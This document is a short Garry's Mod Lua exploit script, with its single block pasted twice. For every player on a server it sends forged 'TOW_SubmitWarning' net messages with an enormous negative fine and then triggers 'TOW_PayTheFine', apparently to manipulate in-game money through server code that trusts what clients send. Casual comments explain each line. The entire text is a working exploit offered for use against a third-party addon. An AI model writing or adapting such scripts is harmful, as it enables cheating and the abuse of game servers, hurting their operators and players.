for k,v in pairs(player.GetAll()) do -- grabs everyone's name n stuff on the server
net.Start("TOW_SubmitWarning") -- the net message's name
net.WriteString(LocalPlayer():SteamID()) -- getting your steamid
net.WriteDouble(-1000000000000000000000000000000000000) -- writing to your money
net.WriteEntity(v) -- writing to a random player
net.SendToServer() -- sending the info to the server
net.Start("TOW_PayTheFine") -- sending the real thing
net.WriteEntity(v) -- giving the shit to the random player
net.SendToServer() -- sending the info again.
end -- ending the code.
for k,v in pairs(player.GetAll()) do -- grabs everyone's name n stuff on the server
net.Start("TOW_SubmitWarning") -- the net message's name
net.WriteString(LocalPlayer():SteamID()) -- getting your steamid
net.WriteDouble(-1000000000000000000000000000000000000) -- writing to your money
net.WriteEntity(v) -- writing to a random player
net.SendToServer() -- sending the info to the server
net.Start("TOW_PayTheFine") -- sending the real thing
net.WriteEntity(v) -- giving the shit to the random player
net.SendToServer() -- sending the info again.
end -- ending the code.